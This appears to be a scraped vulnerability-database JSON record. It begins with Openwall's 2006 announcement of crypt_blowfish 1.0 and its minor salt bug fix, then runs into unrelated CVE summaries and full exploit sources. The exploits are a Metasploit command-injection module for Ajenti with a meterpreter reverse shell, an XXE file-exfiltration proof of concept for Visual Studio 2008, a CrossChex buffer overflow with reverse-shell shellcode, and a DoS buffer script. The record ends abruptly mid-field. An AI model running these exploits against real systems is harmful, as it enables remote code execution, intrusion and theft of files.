ID SECURITYVULNS:DOC:11327 Type securityvulns Reporter Securityvulns Modified 2006-02-08T00:00:00
Description
Hi,
This is to announce the first mature version of crypt_blowfish and the
minor security fix that this version adds.
crypt_blowfish is a public domain implementation of a modern password
hashing algorithm based on the Blowfish block cipher, provided via the
crypt(3) and a reentrant interface. It is compatible with bcrypt
(version 2a) by Niels Provos and David Mazieres, as used in OpenBSD.
The homepage for crypt_blowfish is:
http://www.openwall.com/crypt/
The most important property of bcrypt (and thus crypt_blowfish) is that
it is adaptable to future processor performance improvements, allowing
you to arbitrarily increase the processing cost of checking a password
while still maintaining compatibility with your older password hashes.
Already now bcrypt hashes you would use are several orders of magnitude
stronger than traditional Unix DES-based or FreeBSD-style MD5-based
hashes.
Besides providing a bcrypt implementation, the crypt_blowfish package
also includes a generic password hashing framework and hooks for
introducing this framework into the GNU C Library. The provided
functions include crypt_gensalt*(), a family of functions for generating
"salts" for use with common Unix password hashing methods (that is, not
only with bcrypt).
Marko Kreen has discovered and reported a minor security bug in
crypt_blowfish 0.4.7 and below. The bug affected the way salts for
BSDI-style extended DES-based and for FreeBSD-style MD5-based password
hashes were generated with the crypt_gensalt() functions. It would
result in a higher than expected number of matching salts with large
numbers of password hashes of the affected types. crypt_gensalt()'s
functionality for Blowfish-based (bcrypt) hashes that crypt_blowfish
itself implements and for traditional DES-based crypt(3) hashes was not
affected.
Since bcrypt hashes were not affected, default installs of
Openwall GNU/*/Linux (Owl) were never affected either. The specific
impact this could have on non-default installs of Owl is described in
the latest Owl-current change log entry for glibc:
http://www.openwall.com/Owl/CHANGES-2.0.shtml
Since Owl 2.0 is scheduled to be released really soon and since the bug
is minor, we are not planning a similar glibc update for Owl 1.1-stable.
Instead, the 1.1-stable branch will be obsoleted by the new release.
For those curious about the nature of the bug, it was unintended sign
extension on a typecast.
As this crypt_blowfish bug is my own, and as I was well aware of this
pitfall and avoided it in other places, I am very embarrassed about
this. I apologize to anyone who might be affected for the exposure and
inconvenience this causes.
--
Alexander Peslyak <solar at openwall.com>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
{"id": "SECURITYVULNS:DOC:11327", "bulletinFamily": "software", "title": "crypt_blowfish 1.0", "description": "Hi,\r\n\r\nThis is to announce the first mature version of crypt_blowfish and the\r\nminor security fix that this version adds.\r\n\r\ncrypt_blowfish is a public domain implementation of a modern password\r\nhashing algorithm based on the Blowfish block cipher, provided via the\r\ncrypt(3) and a reentrant interface. It is compatible with bcrypt\r\n(version 2a) by Niels Provos and David Mazieres, as used in OpenBSD.\r\nThe homepage for crypt_blowfish is:\r\n\r\n http://www.openwall.com/crypt/\r\n\r\nThe most important property of bcrypt (and thus crypt_blowfish) is that\r\nit is adaptable to future processor performance improvements, allowing\r\nyou to arbitrarily increase the processing cost of checking a password\r\nwhile still maintaining compatibility with your older password hashes.\r\nAlready now bcrypt hashes you would use are several orders of magnitude\r\nstronger than traditional Unix DES-based or FreeBSD-style MD5-based\r\nhashes.\r\n\r\nBesides providing a bcrypt implementation, the crypt_blowfish package\r\nalso includes a generic password hashing framework and hooks for\r\nintroducing this framework into the GNU C Library. The provided\r\nfunctions include crypt_gensalt*(), a family of functions for generating\r\n"salts" for use with common Unix password hashing methods (that is, not\r\nonly with bcrypt).\r\n\r\nMarko Kreen has discovered and reported a minor security bug in\r\ncrypt_blowfish 0.4.7 and below. The bug affected the way salts for\r\nBSDI-style extended DES-based and for FreeBSD-style MD5-based password\r\nhashes were generated with the crypt_gensalt*() functions. It would\r\nresult in a higher than expected number of matching salts with large\r\nnumbers of password hashes of the affected types. crypt_gensalt*()'s\r\nfunctionality for Blowfish-based (bcrypt) hashes that crypt_blowfish\r\nitself implements and for traditional DES-based crypt(3) hashes was not\r\naffected.\r\n\r\nSince bcrypt hashes were not affected, default installs of\r\nOpenwall GNU/*/Linux (Owl) were never affected either. The specific\r\nimpact this could have on non-default installs of Owl is described in\r\nthe latest Owl-current change log entry for glibc:\r\n\r\n http://www.openwall.com/Owl/CHANGES-2.0.shtml\r\n\r\nSince Owl 2.0 is scheduled to be released really soon and since the bug\r\nis minor, we are not planning a similar glibc update for Owl 1.1-stable.\r\nInstead, the 1.1-stable branch will be obsoleted by the new release.\r\n\r\nFor those curious about the nature of the bug, it was unintended sign\r\nextension on a typecast.\r\n\r\nAs this crypt_blowfish bug is my own, and as I was well aware of this\r\npitfall and avoided it in other places, I am very embarrassed about\r\nthis. I apologize to anyone who might be affected for the exposure and\r\ninconvenience this causes.\r\n\r\n-- \r\nAlexander Peslyak <solar at openwall.com>\r\nGPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598\r\nhttp://www.openwall.com - bringing security into open computing environments", "published": "2006-02-08T00:00:00", "modified": "2006-02-08T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:11327", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:15", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "7e34649fa1f94b522a36ca4a8f2bc9d1"}, {"key": "href", "hash": "73c78ef1b45270ff2744349d3df7245b"}, {"key": "modified", "hash": "74890c300562ea209bc37201a603667f"}, {"key": "published", "hash": "74890c300562ea209bc37201a603667f"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "a49ebb2e1a771348dfa0039e0d589df6"}, {"key": "title", "hash": "a334b7c5442442de425ad68654acb4bd"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "352ba88e62b123c364b09390ccbbf24196afed58ae0b07bfb57d612fa027e035", "viewCount": 8, "enchantments": {"score": {"value": 2.5, "vector": "NONE", "modified": "2018-08-31T11:10:15"}, "dependencies": {"references": [{"type": "openvas", "idList": ["OPENVAS:1361412562310852529", "OPENVAS:1361412562310852527"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2019:1485-1", "OPENSUSE-SU-2019:1481-1", "OPENSUSE-SU-2019:1479-1"]}, {"type": "ubuntu", "idList": ["USN-3996-1"]}, {"type": "myhack58", "idList": ["MYHACK58:62201994293"]}, {"type": "zdt", "idList": ["1337DAY-ID-32799", "1337DAY-ID-32775", "1337DAY-ID-32772", "1337DAY-ID-32771", "1337DAY-ID-32767", "1337DAY-ID-32754", "1337DAY-ID-32753", "1337DAY-ID-32757", "1337DAY-ID-32725", "1337DAY-ID-32724"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:152997"]}, {"type": "kitploit", "idList": ["KITPLOIT:3928947731225997712"]}], "modified": "2018-08-31T11:10:15"}, "vulnersScore": 2.5}, "objectVersion": "1.3", "affectedSoftware": []}
{"cve": [{"lastseen": "2019-12-07T11:41:12", "bulletinFamily": "NVD", "description": "An SQL Injection vulnerability exists in MiniDLNA prior to 1.1.0", "modified": "2019-12-05T04:01:00", "id": "CVE-2013-2745", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2745", "published": "2019-12-04T22:15:00", "title": "CVE-2013-2745", "type": "cve", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-12-03T17:07:13", "bulletinFamily": "NVD", "description": "FreeBSD: Input Validation Flaw allows local users to gain elevated privileges", "modified": "2019-12-02T18:38:00", "id": "CVE-2012-4576", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-4576", "published": "2019-12-02T18:15:00", "title": "CVE-2012-4576", "type": "cve", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-12-03T17:04:16", "bulletinFamily": "NVD", "description": "Path traversal vulnerability in Docker before 1.3.3 allows remote attackers to write to arbitrary files and bypass a container protection mechanism via a full pathname in a symlink in an (1) image or (2) build in a Dockerfile.", "modified": "2019-12-02T18:38:00", "id": "CVE-2014-9356", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9356", "published": "2019-12-02T18:15:00", "title": "CVE-2014-9356", "type": "cve", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-12-03T17:08:34", "bulletinFamily": "NVD", "description": "The mpi_powm function in Libgcrypt before 1.6.3 and GnuPG before 1.4.19 allows attackers to obtain sensitive information by leveraging timing differences when accessing a pre-computed table during modular exponentiation, related to a \"Last-Level Cache Side-Channel Attack.\"", "modified": "2019-12-02T13:37:00", "id": "CVE-2015-0837", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-0837", "published": "2019-11-29T22:15:00", "title": "CVE-2015-0837", "type": "cve", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-12-07T11:40:06", "bulletinFamily": "NVD", "description": "Libgcrypt before 1.6.3 and GnuPG before 1.4.19 does not implement ciphertext blinding for Elgamal decryption, which allows physically proximate attackers to obtain the server's private key by determining factors using crafted ciphertext and the fluctuations in the electromagnetic field during multiplication.", "modified": "2019-12-05T18:06:00", "id": "CVE-2014-3591", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3591", "published": "2019-11-29T22:15:00", "title": "CVE-2014-3591", "type": "cve", "cvss": {"score": 1.9, "vector": "AV:L/AC:M/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2019-12-03T17:08:36", "bulletinFamily": "NVD", "description": "cabextract before 1.6 does not properly check for leading slashes when extracting files, which allows remote attackers to conduct absolute directory traversal attacks via a malformed UTF-8 character that is changed to a UTF-8 encoded slash.", "modified": "2019-12-02T13:37:00", "id": "CVE-2015-2060", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2060", "published": "2019-11-29T21:15:00", "title": "CVE-2015-2060", "type": "cve", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-12-03T17:08:37", "bulletinFamily": "NVD", "description": "The PGP signature parsing in Module::Signature before 0.74 allows remote attackers to cause the unsigned portion of a SIGNATURE file to be treated as the signed portion via unspecified vectors.", "modified": "2019-12-02T13:37:00", "id": "CVE-2015-3406", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3406", "published": "2019-11-29T21:15:00", "title": "CVE-2015-3406", "type": "cve", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-12-03T17:08:35", "bulletinFamily": "NVD", "description": "verify_certificate_identity in the OpenSSL extension in Ruby before 2.0.0 patchlevel 645, 2.1.x before 2.1.6, and 2.2.x before 2.2.2 does not properly validate hostnames, which allows remote attackers to spoof servers via vectors related to (1) multiple wildcards, (1) wildcards in IDNA names, (3) case sensitivity, and (4) non-ASCII characters.", "modified": "2019-12-02T13:37:00", "published": "2019-11-29T21:15:00", "id": "CVE-2015-1855", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1855", "title": "CVE-2015-1855", "type": "cve", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-12-07T12:39:29", "bulletinFamily": "NVD", "description": "The addto parameter to fup in Frams' Fast File EXchange (F*EX, aka fex) before fex-2014053 allows remote attackers to conduct cross-site scripting (XSS) attacks", "modified": "2019-12-06T17:24:00", "id": "CVE-2014-3875", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3875", "published": "2019-11-27T19:15:00", "title": "CVE-2014-3875", "type": "cve", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2019-11-26T12:31:59", "bulletinFamily": "NVD", "description": "A Directory Traversal vulnerability exists in the GNU patch before 2.7.4. A remote attacker can write to arbitrary files via a symlink attack in a patch file. NOTE: this issue exists because of an incomplete fix for CVE-2015-1196.", "modified": "2019-11-25T17:35:00", "id": "CVE-2015-1396", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1396", "published": "2019-11-25T16:15:00", "title": "CVE-2015-1396", "type": "cve", "cvss": {"score": 0.0, "vector": "NONE"}}], "zdt": [{"lastseen": "2019-12-04T16:04:29", "bulletinFamily": "exploit", "description": "This Metasploit module exploits a command injection in Ajenti version 2.1.31. By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.", "modified": "2019-12-03T00:00:00", "published": "2019-12-03T00:00:00", "id": "1337DAY-ID-33620", "href": "https://0day.today/exploit/description/33620", "title": "Ajenti 2.1.31 Command Injection Exploit", "type": "zdt", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::Remote::HttpClient\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Ajenti auth username Command Injection',\r\n 'Description' => %q{\r\n This module exploits a command injection in Ajenti == 2.1.31.\r\n By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.\r\n },\r\n 'Author' => [\r\n 'Jeremy Brown', # Vulnerability discovery\r\n 'Onur ER <[email\u00a0protected]>' # Metasploit module\r\n ],\r\n 'References' => [\r\n ['EDB', '47497']\r\n ],\r\n 'DisclosureDate' => '2019-10-14',\r\n 'License' => MSF_LICENSE,\r\n 'Platform' => 'python',\r\n 'Arch' => ARCH_PYTHON,\r\n 'Privileged' => false,\r\n 'Targets' => [\r\n ['Ajenti == 2.1.31', {}]\r\n ],\r\n 'DefaultOptions' =>\r\n {\r\n 'RPORT' => 8000,\r\n 'SSL' => true,\r\n 'payload' => 'python/meterpreter/reverse_tcp'\r\n },\r\n 'DefaultTarget' => 0\r\n ))\r\n register_options([\r\n OptString.new('TARGETURI', [true, 'Base path', '/'])\r\n ])\r\n end\r\n\r\n def check\r\n res = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => '/view/login/normal'\r\n })\r\n\r\n unless res\r\n vprint_error 'Connection failed'\r\n return CheckCode::Unknown\r\n end\r\n\r\n unless res.body =~ /ajenti/i\r\n return CheckCode::Safe\r\n end\r\n\r\n version = res.body.scan(/'ajentiVersion', '([\\d\\.]+)'/).flatten.first\r\n\r\n if version\r\n vprint_status \"Ajenti version #{version}\"\r\n end\r\n\r\n if version == '2.1.31'\r\n return CheckCode::Appears\r\n end\r\n\r\n CheckCode::Detected\r\n end\r\n\r\n def exploit\r\n print_status('Exploiting...')\r\n json_body = { 'username' => \"`python -c \\\"#{payload.encoded}\\\"`\",\r\n 'password' => rand_text_alpha_lower(7),\r\n 'mode' => 'normal'\r\n }\r\n send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri, 'api', 'core', 'auth'),\r\n 'ctype' => 'application/json',\r\n 'data' => JSON.generate(json_body)\r\n })\r\n end\r\nend\n\n# 0day.today [2019-12-04] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/33620"}, {"lastseen": "2019-12-04T14:10:38", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category local exploits", "modified": "2019-12-02T00:00:00", "published": "2019-12-02T00:00:00", "id": "1337DAY-ID-33612", "href": "https://0day.today/exploit/description/33612", "title": "Visual Studio 2008 - XML External Entity Injection Vulnerability", "type": "zdt", "sourceData": "# Exploit Title: Visual Studio 2008 - XML External Entity Injection\r\n# Discovery by: hyp3rlinx\r\n# Date: 2019-12-02\r\n# Vendor Homepage: www.microsoft.com\r\n# Software Link: Visual Studio 2008 Express IDE \r\n# Tested Version: 2008\r\n# CVE: N/A\r\n\r\n[+] Credits: John Page (aka hyp3rlinx)\t\t\r\n[+] Website: hyp3rlinx.altervista.org\r\n[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-VISUAL-STUDIO-EXPRESS-2008-IDE-XML-EXTERNAL-ENTITY-0Day.txt\r\n[+] ISR: ApparitionSec \r\n\r\n\r\n[Vendor]\r\nwww.microsoft.com\r\n\r\n\r\n[Product]\r\nVisual Studio 2008 Express IDE \r\nvcsetup.exe\r\nFile hash: 62f764849e8fcdf8bfbc342685641304\r\nDownload: http://go.microsoft.com/?linkid=7729279\r\n\r\n\r\n[Vulnerability Type]\r\nXML External Entity Injection 0Day\r\n\r\n\r\n[CVE Reference]\r\nN/A\r\n\r\n\r\n[Security Issue]\r\nVisual Studio 2008 IDE suffers from XML External Entity injection. Attackers can leverage many file types, some being MASM related files like .asm or .lst.\r\nBy opening any one of the following file types listed below, it can allow remote attackers to steal files from the victims computer, sending them to the\r\nremote attackers server. \r\n\r\nDouble click any of the following extensions and it will trigger the XXE vulnerability. Note, upon installation of the IDE the following file types get \r\nassociated with Visual Studio 2008 and are ALL vulnerable and will trigger the XXE exploit.\r\n\r\n[Vuln XXE file types]\r\n.snippet\r\n.i\r\n.s\r\n.asm\r\n.disco\r\n.lst\r\n.inc\r\n.srf\r\n.wsdl\r\n.rgs\r\n.xml\r\n\r\nThis IDE is pretty old, I know, but its still available for download as of this writing, therefore I release the advisory.\r\n\r\n\r\n[References]\r\nhttps://devblogs.microsoft.com/visualstudio/end-of-support-for-visual-studio-2008-in-one-year/\r\n\r\n\r\n[Exploit/POC]\r\n\"Evil.snippet\" or any of the extensions mentioned above.\r\n\r\n<?xml version=\"1.0\"?>\r\n<!DOCTYPE knobgobslob [ \r\n<!ENTITY % file SYSTEM \"C:\\Windows\\system.ini\">\r\n<!ENTITY % dtd SYSTEM \"http://127.0.0.1:8000/payload.dtd\">\r\n%dtd;]>\r\n<pwn>&send;</pwn>\r\n\r\n\r\n\"payload.dtd\"\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<!ENTITY % all \"<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>\">\r\n%all;\r\n\r\n\r\npython -m SimpleHTTPServer\r\npython -m http.server (Python3)\r\n\r\n\r\n[POC Video URL]\r\nhttps://www.youtube.com/watch?v=QOZlwzsbPrk\r\n\r\n\n\n# 0day.today [2019-12-04] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/33612"}, {"lastseen": "2019-12-04T02:04:32", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category local exploits", "modified": "2019-12-02T00:00:00", "published": "2019-12-02T00:00:00", "id": "1337DAY-ID-33614", "href": "https://0day.today/exploit/description/33614", "title": "Anviz CrossChex 4.3.12 - Local Buffer Overflow Exploit", "type": "zdt", "sourceData": "# Exploit Title: Anviz CrossChex 4.3.12 - Local Buffer Overflow\r\n# Exploit Author: Luis Catarino & Pedro Rodrigues\r\n# Vendor Homepage: https://www.anviz.com/\r\n# Software Link: https://www.anviz.com/download.html\r\n# Version: Crosschex Standard x86 <= V4.3.12\r\n# Tested on: 4.3.8.0, 4.3.12\r\n# CVE : N/A\r\n# More info: https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html\r\n\r\nimport socket\r\nimport time\r\nimport sys\r\nimport binascii\r\n\r\n# Scapy for the broadcast packet with custom sport\r\nfrom scapy.all import Raw,IP,Dot1Q,UDP,Ether\r\nimport scapy.all\r\n\r\n# shellcode working calc.exe\r\ncalculator_payload = b\"\\xfc\\xe8\\x82\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b\"\r\ncalculator_payload += b\"\\x50\\x30\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\"\r\ncalculator_payload += b\"\\x4a\\x26\\x31\\xff\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\"\r\ncalculator_payload += b\"\\x0d\\x01\\xc7\\xe2\\xf2\\x52\\x57\\x8b\\x52\\x10\\x8b\\x4a\\x3c\"\r\ncalculator_payload += b\"\\x8b\\x4c\\x11\\x78\\xe3\\x48\\x01\\xd1\\x51\\x8b\\x59\\x20\\x01\"\r\ncalculator_payload += b\"\\xd3\\x8b\\x49\\x18\\xe3\\x3a\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\"\r\ncalculator_payload += b\"\\xff\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf6\\x03\\x7d\"\r\ncalculator_payload += b\"\\xf8\\x3b\\x7d\\x24\\x75\\xe4\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\"\r\ncalculator_payload += b\"\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\"\r\ncalculator_payload += b\"\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x5f\"\r\ncalculator_payload += b\"\\x5f\\x5a\\x8b\\x12\\xeb\\x8d\\x5d\\x6a\\x01\\x8d\\x85\\xb2\\x00\"\r\ncalculator_payload += b\"\\x00\\x00\\x50\\x68\\x31\\x8b\\x6f\\x87\\xff\\xd5\\xbb\\xf0\\xb5\"\r\ncalculator_payload += b\"\\xa2\\x56\\x68\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x3c\\x06\\x7c\\x0a\"\r\ncalculator_payload += b\"\\x80\\xfb\\xe0\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x53\"\r\ncalculator_payload += b\"\\xff\\xd5\\x63\\x61\\x6c\\x63\\x2e\\x65\\x78\\x65\\x00\"\r\n\r\n# shellcode windows x86 reverse_shell\r\nshell_payload_1 = b\"\\xfc\\xe8\\x82\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b\"\r\nshell_payload_1 += b\"\\x50\\x30\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\"\r\nshell_payload_1 += b\"\\x4a\\x26\\x31\\xff\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\"\r\nshell_payload_1 += b\"\\x0d\\x01\\xc7\\xe2\\xf2\\x52\\x57\\x8b\\x52\\x10\\x8b\\x4a\\x3c\"\r\nshell_payload_1 += b\"\\x8b\\x4c\\x11\\x78\\xe3\\x48\\x01\\xd1\\x51\\x8b\\x59\\x20\\x01\"\r\nshell_payload_1 += b\"\\xd3\\x8b\\x49\\x18\\xe3\\x3a\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\"\r\nshell_payload_1 += b\"\\xff\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf6\\x03\\x7d\"\r\nshell_payload_1 += b\"\\xf8\\x3b\\x7d\\x24\\x75\\xe4\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\"\r\nshell_payload_1 += b\"\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\"\r\nshell_payload_1 += b\"\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x5f\"\r\nshell_payload_1 += b\"\\x5f\\x5a\\x8b\\x12\\xeb\\x8d\\x5d\\x68\\x33\\x32\\x00\\x00\\x68\"\r\nshell_payload_1 += b\"\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c\\x77\\x26\\x07\\xff\\xd5\\xb8\"\r\nshell_payload_1 += b\"\\x90\\x01\\x00\\x00\\x29\\xc4\\x54\\x50\\x68\\x29\\x80\\x6b\\x00\"\r\nshell_payload_1 += b\"\\xff\\xd5\\x50\\x50\\x50\\x50\\x40\\x50\\x40\\x50\\x68\\xea\\x0f\"\r\nshell_payload_1 += b\"\\xdf\\xe0\\xff\\xd5\\x97\\x6a\\x05\\x68\"\r\n\r\n# shellcode windows x86 reverse_shell (part_2)\r\nshell_payload_2 = b\"\\x68\\x02\\x00\\x01\\xbd\\x89\\xe6\\x6a\\x10\\x56\\x57\\x68\\x99\\xa5\"\r\nshell_payload_2 += b\"\\x74\\x61\\xff\\xd5\\x85\\xc0\\x74\\x0c\\xff\\x4e\\x08\\x75\\xec\"\r\nshell_payload_2 += b\"\\x68\\xf0\\xb5\\xa2\\x56\\xff\\xd5\\x68\\x63\\x6d\\x64\\x00\\x89\"\r\nshell_payload_2 += b\"\\xe3\\x57\\x57\\x57\\x31\\xf6\\x6a\\x12\\x59\\x56\\xe2\\xfd\\x66\"\r\nshell_payload_2 += b\"\\xc7\\x44\\x24\\x3c\\x01\\x01\\x8d\\x44\\x24\\x10\\xc6\\x00\\x44\"\r\nshell_payload_2 += b\"\\x54\\x50\\x56\\x56\\x56\\x46\\x56\\x4e\\x56\\x56\\x53\\x56\\x68\"\r\nshell_payload_2 += b\"\\x79\\xcc\\x3f\\x86\\xff\\xd5\\x89\\xe0\\x4e\\x56\\x46\\xff\\x30\"\r\nshell_payload_2 += b\"\\x68\\x08\\x87\\x1d\\x60\\xff\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\\x68\"\r\nshell_payload_2 += b\"\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0\"\r\nshell_payload_2 += b\"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x53\\xff\\xd5\"\r\n\r\ndef ipToShellcode(ip):\r\n a = ip.split('.')\r\n b = hex(int(a[0])) + hex(int(a[1])) + hex(int(a[2])) + hex(int(a[3]))\r\n b = b.replace(\"0x\",\"\")\r\n return binascii.unhexlify(b)\r\n\r\n# sport has to be 5060\r\ndef sendFuzzingUDPBroadcast(ip=\"255.255.255.255\", sport=5050, dport=5060):\r\n request = b\"A\"*77 # Original payload substitute\r\n request += b\"B\"*184\r\n request += b\"\\x07\\x18\\x42\\x00\" # EIP - 00421807 crosscheck_standard.exe\r\n request += b\"A\"*4\r\n # 269 bytes\r\n\r\n if len(sys.argv) > 2:\r\n request = request + shell_payload_1 + ipToShellcode(sys.argv[2]) + shell_payload_2\r\n else:\r\n request = request + calculator_payload\r\n\r\n scapy.all.sendp( Ether(src='00:00:00:00:00:00', dst=\"ff:ff:ff:ff:ff:ff\")/IP(src=ip,dst='255.255.255.255')/UDP(sport=sport,dport=dport)/Raw(load=request), iface=sys.argv[1] )\r\n\r\ndef setFuzzUDPServer(ip='', port=5050, timeout=150):\r\n try :\r\n \ts = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n except:\r\n \tprint('[!] Failed to create server socket')\r\n\r\n try:\r\n \ts.bind(('', port))\r\n except:\r\n \tprint('[*] Server socket bind failed')\r\n \tsys.exit()\r\n\r\n print('[*] Waiting for crosschex')\r\n s.settimeout(timeout)\r\n timeout = time.time() + timeout\r\n responses = []\r\n\r\n while True:\r\n if time.time() > timeout:\r\n break\r\n try:\r\n response = s.recvfrom(1024)\r\n print(response)\r\n responses.append(response)\r\n sendFuzzingUDPBroadcast(ip=ip)\r\n response = s.recvfrom(1024) \r\n except socket.timeout:\r\n print(\"[!] Error with UDP server\")\r\n\r\n s.close()\r\n return responses\r\n\r\nnargs = len(sys.argv)\r\n\r\nif nargs < 2:\r\n print(\"[*] Usage: python3 %s <network_interface> [<ip>]\\n\\tif you don't pass the ip of the LHOST it will drop a calculator, if you set the ip it will send a reverse shell to port 445\")\r\n sys.exit(0)\r\n\r\nsetFuzzUDPServer()\n\n# 0day.today [2019-12-03] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/33614"}, {"lastseen": "2019-12-04T01:58:54", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-11-27T00:00:00", "published": "2019-11-27T00:00:00", "id": "1337DAY-ID-33593", "href": "https://0day.today/exploit/description/33593", "title": "InduSoft Web Studio 8.1 SP1 - (Atributos) Denial of Service Exploit", "type": "zdt", "sourceData": "# Exploit Title: InduSoft Web Studio 8.1 SP1 - \"Atributos\" Denial of Service (PoC)\r\n# Discovery by: chuyreds\r\n# Vendor Homepage: http://www.indusoft.com/\r\n# Software Link : http://www.indusoft.com/Products-Downloads\r\n# Tested Version: 8.1 SP1\r\n# Vulnerability Type: Denial of Service (DoS) Local\r\n# Tested on OS: Windows 10 Pro x64 es\r\n\r\n# Exploit Title: InduSoft Web Studio 8.1 SP1 - \"Atributos\" 'No Redibujar'/'Deshabilitados' Denial of Service (PoC)\r\n# Discovery by: chuyreds\r\n# Google Dork: [email\u00a0protected]: chuyreds\r\n# Discovery Date: 23-11-2019\r\n# Vendor Homepage: http://www.indusoft.com/\r\n# Software Link : http://www.indusoft.com/Products-Downloads\r\n# Tested Version: 8.1 SP1\r\n# Vulnerability Type: Denial of Service (DoS) Local\r\n# Tested on OS: Windows 10 Pro x64 es\r\n\r\n# Steps to Produce the Denial of Service: \r\n# 1.- Run python code: InduSoft Web Studio Edition 8.1 SP1.py\r\n# 2.- Open InduSoft \"Web Studio Edition 8.1 SP1.txt\" and copy content to clipboard\r\n# 3.- Open InduSoft Web Studio Edition 8.1 SP1\r\n# 4.- On Graficos slect Atributos\r\n# 5.- Paste ClipBoard on \"No Redibujar\"/\"Deshabilitados\" and click on \"Aceptar\"\r\n\r\n\r\n#!/usr/bin/env python\r\n\r\nbuffer = \"\\x41\" * 1026\r\nf = open (\"InduSoft Web Studio Edition 8.1 SP1.txt\", \"w\")\r\nf.write(buffer)\r\nf.close()\n\n# 0day.today [2019-12-03] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/33593"}], "openvas": [{"lastseen": 